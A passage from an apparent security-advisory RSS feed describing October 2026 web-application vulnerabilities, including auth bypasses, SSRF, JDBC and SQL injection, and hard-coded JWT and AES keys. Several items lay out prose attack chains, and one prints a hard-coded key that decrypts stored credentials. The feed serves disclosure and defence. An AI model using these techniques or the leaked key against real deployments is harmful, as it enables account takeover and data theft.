<li>Monitor web server access logs for anomalous patterns of sequential or high-volume requests to the endpoints /datasource/detail, /listSchemaTable, /tableDetail, /update, and /delete, particularly those associated with authenticated user sessions that deviate from normal usage patterns.</li>
<li>Audit access control logs to identify users attempting to access resource IDs not assigned to their specific workspace.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>idor</category><category>api-security</category><category>web-application</category><category>cve-2026-111695</category></item><item><title>Authentication Bypass in WIMOOR via Unsigned X-USERINFO Header</title><link>https://feed.craftedsignal.io/briefs/2026-10-wimoor-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:50:23 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-wimoor-auth-bypass/</guid><description>WIMOOR through commit ec86736 contains an authentication bypass vulnerability that allows unauthorized tenants to escalate privileges and access sensitive financial data by forging the unsigned X-USERINFO header.</description><content:encoded><![CDATA[<p>WIMOOR through commit ec86736 is susceptible to an authentication bypass vulnerability. The flaw exists because the application incorrectly processes the unsigned 'X-USERINFO' HTTP header when backend service ports are accessed directly, bypassing the intended gateway or proxy authentication mechanisms. By manipulating the 'companyid', 'manager', or 'admin' fields within this header, an unauthenticated attacker can successfully impersonate any tenant, including administrative accounts. This flaw allows unauthorized actors to read and modify sensitive internal information, including order histories, financial records, and Amazon seller authorizations. This represents a significant risk to organizations using WIMOOR, particularly if backend instances are reachable from untrusted network segments.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for full tenant impersonation and unauthorized access to sensitive business operations. Attackers can view or manipulate financial data, modify order processing, and compromise third-party integrations such as Amazon seller authorizations, potentially leading to significant financial loss and operational disruption for users of the platform.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately restrict network access to WIMOOR backend service ports to ensure all traffic must traverse the authorized gateway, preventing direct access.</li>
<li>Patch WIMOOR by updating to a version beyond commit ec86736, ensuring that the application validates the authenticity of 'X-USERINFO' headers instead of relying on client-provided data.</li>
<li>Review web application firewall (WAF) logs for any incoming requests containing custom 'X-USERINFO' headers, which should be considered anomalous if originating from external or non-internal-gateway IP addresses.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>authentication-bypass</category><category>web-application</category><category>cloud</category></item><item><title>Authorization Bypass Vulnerability in Magistrala</title><link>https://feed.craftedsignal.io/briefs/2026-10-magistrala-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:50:10 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-magistrala-auth-bypass/</guid><description>Magistrala through version 1.0.0 contains an authorization bypass flaw allowing authenticated workspace members to perform unauthorized certificate operations across different tenants.</description><content:encoded><![CDATA[<p>Magistrala versions through 1.0.0 contain an authorization bypass vulnerability (CVE-2026-111684) that affects multi-tenant deployments. The vulnerability resides in the workspace certificate management logic, specifically failing to adequately validate the association between the authenticated user's workspace context and the requested device entity or serial number. An authenticated user belonging to one workspace can manipulate API requests to target resources belonging to other tenants. This flaw allows unauthorized actors to view, revoke, or issue certificates for devices they do not own or manage. Because Magistrala functions as an IoT message broker and platform, this vulnerability can lead to critical operational impact, including the mass disconnection of IoT devices, unauthorized disclosure of sensitive identity certificates, and the minting of rogue CA-signed certificates for arbitrary device IDs.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows for cross-tenant unauthorized access, resulting in the potential compromise of IoT device integrity and communication privacy. Attackers can disconnect legitimate tenant devices, exfiltrate sensitive certificate data, and impersonate devices by minting unauthorized certificates. This is particularly critical for industrial or enterprise IoT deployments where device identity is the foundation of trust.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Patch Magistrala immediately to a version that addresses CVE-2026-111684 once the vendor provides the update.</li>
<li>Audit API access logs for unauthorized attempts to invoke certificate management methods (RevokeBySerial, RevokeAll, ViewCert, ListCerts, IssueCert) across workspace boundaries.</li>
<li>Review current workspace membership permissions and implement strict least-privilege access control until a patch is applied.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Missing Authorization Vulnerability in EFAK</title><link>https://feed.craftedsignal.io/briefs/2026-10-efak-missing-auth/</link><pubDate>Fri, 16 Oct 2026 18:50:04 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-efak-missing-auth/</guid><description>Authenticated low-privileged users can exploit missing authorization checks in EFAK 5.1.0 and earlier to escalate privileges and perform administrative actions on managed Kafka clusters.</description><content:encoded><![CDATA[<p>EFAK (formerly Kafka Eagle) versions up to 5.1.0 contain a critical missing authorization vulnerability (CVE-2026-111681). The flaw exists within the /api/users endpoints, which fail to verify if the requesting user possesses administrative privileges before processing account management requests. An authenticated, low-privilege attacker can exploit this by submitting crafted POST, PUT, or DELETE requests to the UserController. This allows the attacker to escalate their own account to ROLE_ADMIN, create new administrative accounts, or delete existing users. Successful exploitation results in the attacker gaining full administrative control over the EFAK instance, which enables further unauthorized management and monitoring of the integrated Kafka clusters. Defenders should ensure EFAK is updated to a patched version once available.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows low-privileged users to achieve full administrative control over the EFAK platform. This compromise extends to the managed Kafka clusters, where the attacker can disrupt message flows, access sensitive cluster configuration data, or delete existing legitimate administrator accounts to maintain persistent, unauthorized access. There is currently no data on the number of victims or active exploitation in the wild.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor web application logs for POST, PUT, or DELETE requests to /api/users coming from non-administrative user accounts.</li>
<li>Patch or upgrade EFAK to the version addressing CVE-2026-111681 as soon as it is released by the vendor.</li>
<li>Implement restrictive access controls on the network to limit access to the EFAK management interface to authorized personnel only.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">threat</category><category>web-application</category><category>privilege-escalation</category><category>kafka</category></item><item><title>Authorization Bypass in APIPark</title><link>https://feed.craftedsignal.io/briefs/2026-10-apipark-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:49:58 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-apipark-auth-bypass/</guid><description>APIPark versions through 1.9.7-beta are vulnerable to an authorization bypass allowing authenticated team managers to manipulate team IDs to access, modify, or delete resources belonging to other teams.</description><content:encoded><![CDATA[<p>APIPark through version 1.9.7-beta is susceptible to an authorization bypass vulnerability (CVE-2026-111680) that impacts multi-tenant environments. The flaw allows an authenticated user with the 'team manager' role to manipulate the 'team' query parameter in API requests. By substituting their own team ID with that of a target team, an attacker can bypass authorization controls and interact with resources they do not own.</p>
<p>This vulnerability grants attackers the ability to read, modify, or delete services and applications belonging to other teams. The attack is carried out by discovering target service or application IDs through information-gathering endpoints, followed by unauthorized requests to management endpoints. The impact is significant for organizations relying on APIPark for API gateway management, as it undermines the logical separation between teams, potentially leading to unauthorized data exposure or operational disruption of sensitive API services.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthorized users to perform administrative actions on services and applications across different teams. This can result in the loss of service availability, unauthorized modification of API configurations, or the exfiltration of metadata and sensitive details related to internal services. This vulnerability is critical in environments with high internal traffic or multiple distinct development/production teams sharing an APIPark instance.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritized actions for security teams to address CVE-2026-111680:</p>
<ul>
<li>Upgrade APIPark to the latest version immediately to remediate the authorization logic flaw identified in CVE-2026-111680.</li>
<li>Review web server and API gateway access logs for abnormal patterns involving requests to /api/v1/service/info or /api/v1/app where the 'team' parameter does not match the requester's legitimate assigned ID.</li>
<li>Audit existing team manager permissions and minimize administrative access until the patch is applied.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application-vulnerability</category><category>authorization-bypass</category><category>api-security</category></item><item><title>Improper Authentication Rate Limiting in Course-tencent-cloud</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-111675/</link><pubDate>Fri, 16 Oct 2026 18:49:49 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-111675/</guid><description>Course-tencent-cloud through version 2.0.1 contains an authentication bypass vulnerability allowing attackers to brute force 6-digit verification codes due to a lack of rate limiting or invalidation.</description><content:encoded><![CDATA[<p>Course-tencent-cloud through version 2.0.1 is affected by a critical design flaw involving the improper restriction of authentication attempts. The application generates 6-digit verification codes sent via SMS or email for account recovery and login verification processes. Due to the absence of rate limiting, attempt counters, or code invalidation mechanisms, these codes remain valid for an indefinite period regardless of the number of failed attempts. An unauthenticated attacker who identifies a target's phone number or email address can initiate a verification request and systematically cycle through the 1,000,000 possible 6-digit combinations. By rotating source IP addresses to bypass basic volumetric blocking, attackers can successfully brute force the verification process and gain unauthorized access to victim accounts. This vulnerability significantly lowers the barrier for account takeover, as it requires no prior knowledge of credentials, only the target's associated communication identifier.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows unauthorized access to user accounts. This facilitates data exfiltration, identity theft, and potential administrative takeover if the affected account holds privileged access. Given the nature of verification codes, this flaw is particularly dangerous for services where account takeover leads to unauthorized financial transactions or sensitive personal data exposure.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize the implementation of server-side rate limiting and account lockout policies for all authentication and verification endpoints. Ensure that verification codes are invalidated after a maximum number of failed attempts or a strict time-based window.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>authentication-bypass</category><category>credential-stuffing</category><category>web-application-vulnerability</category></item><item><title>CVE-2026-111663: SSRF Vulnerability in Chaskiq GraphQL API</title><link>https://feed.craftedsignal.io/briefs/2026-10-chaskiq-ssrf/</link><pubDate>Fri, 16 Oct 2026 18:49:36 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-chaskiq-ssrf/</guid><description>Chaskiq version 2.0.3 and earlier contains a server-side request forgery vulnerability in the createUrlUpload GraphQL mutation, allowing unauthenticated attackers to access internal resources including cloud metadata services.</description><content:encoded><![CDATA[<p>Chaskiq versions up to and including 2.0.3 contain a server-side request forgery (SSRF) vulnerability identified as CVE-2026-111663. This flaw resides within the createUrlUpload GraphQL mutation, which improperly validates user-supplied URLs. An unauthenticated attacker can leverage this endpoint to force the Chaskiq server to make arbitrary HTTP requests to internal network resources, including sensitive cloud instance metadata services (e.g., 169.254.169.254). The application processes these requests and subsequently leaks the contents of the response to the attacker via an ActiveStorage blob URL. This vulnerability represents a significant risk for organizations hosting Chaskiq within cloud environments, as it may facilitate the exfiltration of instance identities, security tokens, or internal network mapping.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows unauthenticated attackers to conduct SSRF attacks, potentially leading to unauthorized access to internal network infrastructure or cloud provider service metadata. If exploited, an attacker could extract sensitive configuration data or interact with internal APIs that are not exposed to the public internet, posing a high risk for data breach or deeper network compromise.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade all instances of Chaskiq to a patched version beyond 2.0.3 immediately to address the vulnerability in the createUrlUpload mutation.</li>
<li>Implement network-level egress filtering on the Chaskiq application server to restrict access to internal IP ranges, specifically blocking requests to 169.254.169.254 and other private RFC1918 address spaces.</li>
<li>Review web server access logs for anomalous POST requests to the /graphql endpoint containing suspicious URL parameters in the createUrlUpload mutation.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>ssrf</category><category>graphql</category><category>web-vulnerability</category></item><item><title>Missing Authentication in ChronoFrame Wizard API</title><link>https://feed.craftedsignal.io/briefs/2026-10-chronoframe-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:49:29 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-chronoframe-auth-bypass/</guid><description>ChronoFrame versions 1.0.0 and earlier are vulnerable to a missing authentication flaw in API handlers, allowing unauthenticated attackers to reconfigure instance storage and site settings.</description><content:encoded><![CDATA[<p>ChronoFrame through version 1.0.0 contains a critical missing authentication vulnerability within its server/api/wizard/ handlers. This vulnerability allows an unauthenticated, remote attacker to interact with the configuration wizard of an already initialized instance. By sending unauthorized HTTP POST requests to the /api/wizard/storage endpoint, an attacker can modify critical application parameters. Successful exploitation enables the attacker to redirect application data storage to a malicious S3 or OpenList provider, effectively intercepting uploaded data and potentially gaining control over site and map configurations. This flaw poses a high risk to data integrity and confidentiality for deployments of ChronoFrame.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows unauthorized actors to control the storage backend of ChronoFrame instances. This can result in the full exfiltration or interception of user data being written to redirected storage providers. Additionally, the ability to overwrite site and map settings allows attackers to manipulate the application's behavior and potentially perform further administrative actions. The risk is high for any organization hosting public-facing ChronoFrame instances.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor web server logs for unauthorized access attempts or suspicious POST requests targeting the /api/wizard/ path.</li>
<li>Audit current ChronoFrame instance configurations to ensure storage providers point to expected, legitimate S3 or OpenList endpoints.</li>
<li>Implement network-level access controls to restrict access to the /api/wizard/ endpoint to authorized administrative IP addresses only.</li>
<li>Prioritize upgrading ChronoFrame to a version that addresses this missing authentication vulnerability as soon as a security patch is provided by the vendor.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Authentication Bypass in bbs-go via Improper OAuth Token Validation</title><link>https://feed.craftedsignal.io/briefs/2026-10-bbs-go-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:47:39 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-bbs-go-auth-bypass/</guid><description>The bbs-go application up to version 4.4.6 is vulnerable to an authentication bypass via the /api/login/google_one_tap endpoint due to missing validation of the Google ID token audience claim.</description><content:encoded><![CDATA[<p>The bbs-go application, in versions through 4.4.6, contains a critical authentication bypass vulnerability identified as CVE-2026-111639. The vulnerability exists within the /api/login/google_one_tap endpoint, which handles Google One Tap authentication. The application fails to verify the 'aud' (audience) claim within the Google-issued ID token provided during the authentication flow.</p>
<p>By default, Google ID tokens are scoped to the specific OAuth client ID that requested them. Because bbs-go neglects to validate that the 'aud' claim matches its own registered client ID, an attacker can create their own Google OAuth client and obtain an ID token. An attacker can then replay a victim's Google ID token - or use a token issued to the attacker's own client - to successfully authenticate as the victim's Google-linked account. This flaw allows for full account takeover of any user associated with a Google identity, posing a significant risk to user confidentiality and account integrity.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability results in unauthorized access to user accounts. An attacker can impersonate any user who has linked a Google account to their bbs-go profile, gaining full access to the victim's data and account privileges. This vulnerability impacts all installations of bbs-go version 4.4.6 and earlier.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade bbs-go to a patched version once available that implements strict validation of the 'aud' claim in Google ID tokens.</li>
<li>Implement monitoring on web access logs for the /api/login/google_one_tap endpoint to identify anomalies in successful login rates or unexpected 'aud' claims if logging allows inspection of the token payload.</li>
<li>Review audit logs for suspicious account modifications or unauthorized access patterns if the application logs identity provider information.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Authorization Bypass in sshportal Management Shell</title><link>https://feed.craftedsignal.io/briefs/2026-10-sshportal-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:47:33 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-sshportal-auth-bypass/</guid><description>An authorization vulnerability in the sshportal management shell allows authenticated non-admin users to retrieve decrypted backend private SSH keys and bypass access controls.</description><content:encoded><![CDATA[<p>sshportal versions 1.19.5 and earlier are affected by a missing authorization vulnerability within the management shell component, specifically tied to the 'key show' command. This flaw permits authenticated users, who lack administrative privileges, to successfully request and view decrypted backend private SSH keys. By querying for predictable key identifiers, such as 'default' or 'host', an attacker can extract sensitive credentials used by the system to communicate with backend infrastructure. The exposure of these keys effectively negates the security posture of the platform, as it permits the attacker to establish direct connections to backend hosts, thereby circumventing configured access control lists (ACLs) and evading centralized session recording mechanisms. This vulnerability (CVE-2026-111638) highlights a critical failure in enforcing role-based access control within the management interface.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-111638 allows unauthorized lateral movement and direct access to backend systems. This bypasses the security auditing and recording features of the sshportal gateway, creating a significant risk of data exfiltration and persistent unauthorized access to managed infrastructure. Organizations relying on sshportal to broker access to critical backend assets are at risk of complete compromise of these assets if any authenticated user account is hijacked or malicious.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade sshportal to the latest patched version beyond 1.19.5 immediately to remediate CVE-2026-111638.</li>
<li>Audit logs for the management shell interface to identify anomalous 'key show' command usage by non-administrative user accounts.</li>
<li>Review and rotate any backend private SSH keys that may have been accessible to non-admin users during the period of exposure.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>privilege-escalation</category><category>authentication-bypass</category></item><item><title>CVE-2026-111636: Authentication Bypass in OpenBMB StaffDeck</title><link>https://feed.craftedsignal.io/briefs/2026-10-openbmb-staffdeck-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:47:26 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-openbmb-staffdeck-auth-bypass/</guid><description>OpenBMB StaffDeck versions through 0.5.6 contain an authentication bypass vulnerability allowing attackers to forge administrator session tokens via a hard-coded app_secret.</description><content:encoded><![CDATA[<p>OpenBMB StaffDeck through version 0.5.6 contains a critical authentication bypass vulnerability (CVE-2026-111636) resulting from the use of a hard-coded default application secret. Because this secret is embedded in the application code rather than dynamically generated, an unauthenticated attacker can perform unauthorized HMAC-SHA256 signing of session tokens. By crafting a token for the 'admin' user within the 'tenant_demo' context, an attacker can bypass all authentication mechanisms to obtain full administrative access to the platform. This access allows the actor to manage stored model configurations and sensitive channel credentials, leading to full tenant compromise. Given the ease of exploitation, this vulnerability poses a significant risk to the confidentiality and integrity of deployments.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation grants an attacker full administrative control over a StaffDeck tenant. Impacted organizations face potential exfiltration of sensitive model data, compromise of channel integration credentials, and unauthorized control over platform operations. The severity is marked as high (CVSS 8.1), reflecting the potential for complete account takeover and data breach within affected environments.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize the immediate update of all StaffDeck instances to a version beyond 0.5.6 that resolves the hard-coded secret vulnerability. As a temporary mitigation, ensure that the application is not exposed to the public internet and verify that the 'tenant_demo' is not utilized in production environments.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>SQL Injection in Helical Insight via /executeDatasource</title><link>https://feed.craftedsignal.io/briefs/2026-10-helical-insight-sql-injection/</link><pubDate>Fri, 16 Oct 2026 18:47:19 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-helical-insight-sql-injection/</guid><description>Helical Insight versions through 7.0.0 contain an authenticated SQL injection vulnerability in the /executeDatasource endpoint that allows attackers to manipulate backend database queries.</description><content:encoded><![CDATA[<p>Helical Insight through version 7.0.0 contains a critical SQL injection vulnerability (CVE-2026-111634) within its report parameter processing mechanism. The flaw resides in the /executeDatasource endpoint, where the application fails to properly sanitize Numeric and String placeholder values. Because the internal SqlDetect filter fails to correctly validate these inputs, an authenticated user can inject arbitrary SQL commands. This vulnerability allows an attacker to bypass existing security controls to perform unauthorized operations, including reading sensitive data from tables that should be restricted or modifying existing records within the report's backend data source. With a CVSS score of 8.1, this flaw presents a significant risk for environments where report viewers have access to sensitive analytical databases.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows authenticated attackers to gain unauthorized access to backend database content, potentially leading to data exfiltration or integrity loss. The scope of impact is limited to the data sources accessible by the Helical Insight application, but in enterprise environments, this often includes broad access to business intelligence repositories.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Helical Insight to a version beyond 7.0.0 immediately upon release of a security patch.</li>
<li>Review access logs for the /executeDatasource endpoint to identify unusual parameter payloads containing common SQL injection syntax (e.g., symbols such as single quotes, double dashes, or UNION/SELECT keywords).</li>
<li>Implement strict input validation at the Web Application Firewall (WAF) layer for all requests directed to /executeDatasource to block malicious SQL patterns.</li>
<li>Audit database permissions for the service account utilized by Helical Insight to ensure it adheres to the principle of least privilege, preventing full database compromise in the event of an injection.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Authentication Bypass in ZKEACMS via JWT Forgery</title><link>https://feed.craftedsignal.io/briefs/2026-10-zkeacms-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:47:12 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-zkeacms-auth-bypass/</guid><description>ZKEACMS versions through 4.4 contain a hard-coded HMAC-SHA256 signing key in JwtBearerDefaults.cs, allowing unauthenticated attackers to forge JWT bearer tokens and bypass authentication.</description><content:encoded><![CDATA[<p>ZKEACMS versions up to 4.4 contain a critical security vulnerability involving a hard-coded HMAC-SHA256 signing key located within the JwtBearerDefaults.cs file. This flaw allows unauthenticated remote attackers to generate and sign their own JWT bearer tokens. By crafting a token with the 'Name' claim set to 'admin', an attacker can successfully bypass authentication controls when interacting with the application's REST API. Successful exploitation provides administrative-level access to the ApiAuthorize endpoints, which are protected by the JWT authentication mechanism. This access allows an attacker to perform unauthorized actions including the modification of articles and product listings, as well as the unauthorized extraction of user form submissions stored within the system. Given the nature of the hard-coded key, any instance of ZKEACMS up to version 4.4 is vulnerable if the application utilizes the default JWT authentication configuration.</p>
<h2 id="impact">Impact</h2>
<p>The exploitation of CVE-2026-111633 results in full authentication bypass and unauthorized administrative access to the ZKEACMS REST API. Impacted sectors include organizations using ZKEACMS for content management and e-commerce platforms. Successful exploitation allows for the compromise of site integrity through the unauthorized modification of content and products, as well as the compromise of data privacy through the exfiltration of sensitive form submissions. The ease of exploitation via the static hard-coded key poses a significant risk to the availability, integrity, and confidentiality of the targeted application data.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade all ZKEACMS instances to a version later than 4.4 that remediates the use of hard-coded cryptographic keys.</li>
<li>If an immediate upgrade is not possible, disable the REST API or implement network-level access controls to restrict access to ApiAuthorize endpoints to trusted internal IP ranges.</li>
<li>Audit web server logs for high volumes of API requests containing JWT tokens that deviate from standard issued tokens or show unusual administrative activity from unrecognized sources.</li>
<li>Perform an integrity check on articles and product data to identify any unauthorized modifications potentially performed via the compromised API.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>authentication-bypass</category><category>jwt</category><category>cve-2026-111633</category></item><item><title>Authorization Bypass in HestiaCP</title><link>https://feed.craftedsignal.io/briefs/2026-10-hestiacp-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:47:04 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-hestiacp-auth-bypass/</guid><description>HestiaCP versions prior to 1.10.5 contain an authorization bypass vulnerability allowing non-privileged administrators to impersonate the ROOT_USER and execute arbitrary cron tasks.</description><content:encoded><![CDATA[<p>HestiaCP versions before 1.10.5 are affected by an authorization bypass vulnerability that enables non-ROOT_USER administrators to perform write operations by impersonating the system's protected ROOT_USER account. The vulnerability stems from a flaw in the application's permission logic where the read-only flag is improperly validated when using the 'loginas' parameter. An attacker with administrative access to a sub-account can exploit this by sending a crafted POST request to the '/add/cron/' endpoint. This action causes the underlying 'crond' service to execute the requested commands with the privileges associated with the protected administrative system account, potentially leading to full system compromise. Defenders should prioritize updating to version 1.10.5 or later to remediate this flaw.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains access to a low-privilege administrator sub-account within the HestiaCP control panel.</li>
<li>Attacker crafts a request utilizing the 'loginas' parameter to assume the context of the ROOT_USER.</li>
<li>Attacker targets the '/add/cron/' API endpoint to initiate a task creation request.</li>
<li>The application fails to validate the read-only restriction for the session context.</li>
<li>The unauthorized write operation is processed, and the cron job is persisted to the system configuration.</li>
<li>The 'crond' daemon schedules the task based on the malicious input.</li>
<li>The system executes the arbitrary command with ROOT_USER privileges.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows a restricted administrator to elevate their privileges to the ROOT_USER level and execute arbitrary system commands. This impacts the confidentiality, integrity, and availability of the hosting server, potentially affecting all hosted websites and databases managed by the HestiaCP instance.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Patch all HestiaCP instances to version 1.10.5 or later immediately.</li>
<li>Audit web server logs for suspicious POST requests to the '/add/cron/' endpoint originating from non-root administrative accounts.</li>
<li>Review all scheduled cron jobs on HestiaCP servers for unauthorized or unexpected entries created by sub-administrators.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Unauthenticated JDBC Injection in AllData</title><link>https://feed.craftedsignal.io/briefs/2026-10-alldata-jdbc-injection/</link><pubDate>Fri, 16 Oct 2026 18:46:54 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-alldata-jdbc-injection/</guid><description>AllData versions 0.7.1 and earlier are vulnerable to unauthenticated JDBC injection via the /jobJdbcDatasource/test endpoint, enabling remote attackers to perform arbitrary file read via the MySQL allowLoadLocalInfile parameter.</description><content:encoded><![CDATA[<p>AllData through version 0.7.1 contains a critical JDBC injection vulnerability in the data-dts component. The flaw exists within the /jobJdbcDatasource/test endpoint, which fails to properly validate user-supplied jdbcUrl and jdbcDriverClass parameters. An unauthenticated remote attacker can exploit this by submitting a specially crafted MySQL JDBC connection string. By setting the allowLoadLocalInfile property to true, an attacker can coerce the application server into initiating a connection to an attacker-controlled MySQL server. Once the connection is established, the attacker can leverage the LOAD DATA LOCAL INFILE capability to extract arbitrary files from the AllData host filesystem, leading to the exposure of sensitive configuration data, credentials, or system files.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies the target AllData instance and the accessible /jobJdbcDatasource/test endpoint.</li>
<li>Attacker sets up a rogue, internet-accessible MySQL server configured to receive incoming connections.</li>
<li>Attacker sends an unauthenticated HTTP POST request to the target endpoint containing malicious JDBC parameters.</li>
<li>The jdbcUrl parameter is set to include the malicious server address and the enableLoadLocalInfile=true flag.</li>
<li>The target application initiates a database connection request to the attacker's server.</li>
<li>The attacker's server responds with a request for a file from the host filesystem.</li>
<li>The target host reads the requested file and exfiltrates its contents to the attacker's infrastructure.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for the unauthorized reading of arbitrary files from the AllData host. This can lead to the compromise of internal system security by exposing sensitive configuration files, environment variables, or private keys. The vulnerability is rated with a CVSS 3.1 base score of 7.5, indicating a significant risk to confidentiality.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately upgrade AllData to a version beyond 0.7.1 that remediates this vulnerability.</li>
<li>Monitor webserver access logs for POST requests to the /jobJdbcDatasource/test path originating from unauthorized or external IP addresses.</li>
<li>Restrict network access to the AllData management interface and specifically the /jobJdbcDatasource/test endpoint to trusted internal networks only.</li>
<li>Implement egress filtering on the AllData host to block unexpected outbound MySQL (3306) or database-related connection attempts to untrusted external destinations.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-vulnerability</category><category>jdbc-injection</category><category>data-exfiltration</category></item><item><title>Information Disclosure in netdisk-fast-download via Hard-Coded Credentials</title><link>https://feed.craftedsignal.io/briefs/2026-10-netdisk-info-disclosure/</link><pubDate>Fri, 16 Oct 2026 18:46:44 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-netdisk-info-disclosure/</guid><description>The netdisk-fast-download package through 0.4.8 contains an information disclosure vulnerability that allows unauthenticated attackers to decrypt cloud-drive credentials via a hard-coded AES key.</description><content:encoded><![CDATA[<p>The netdisk-fast-download package, specifically versions through 0.4.8, contains a critical information disclosure vulnerability within its ParserApi. Unauthenticated attackers can interact with the /v2/randomAuth endpoint to retrieve encrypted credential blobs. These blobs are secured using a hard-coded AES key, identified as 'nfd_auth_key2026', which is embedded directly within the application code. By performing a simple decryption of the intercepted blob using this static key, an unauthorized party can successfully recover sensitive data belonging to other users. Exposed data includes cloud-drive cookies, authentication tokens, and potentially plain-text passwords. This vulnerability poses a significant risk to user privacy and account security, as it allows for trivial credential harvesting without requiring prior access or specific user interaction.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability directly impacts the confidentiality of user cloud-drive accounts. Successful exploitation grants attackers unauthorized access to victim credentials, enabling them to hijack cloud sessions, exfiltrate sensitive files, or maintain persistence within the victim's storage environment. This issue affects all users running versions of netdisk-fast-download up to and including 0.4.8. Given the nature of the exposed information, this could lead to broad-scale account compromise across the user base.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize the immediate update of netdisk-fast-download to a version beyond 0.4.8 where this hard-coded key has been remediated. Monitor network traffic logs for repeated unauthorized access attempts to the /v2/randomAuth endpoint of the ParserApi. Ensure that any suspected exposure of cloud-drive credentials leads to immediate session invalidation and password rotation for affected accounts.</p>
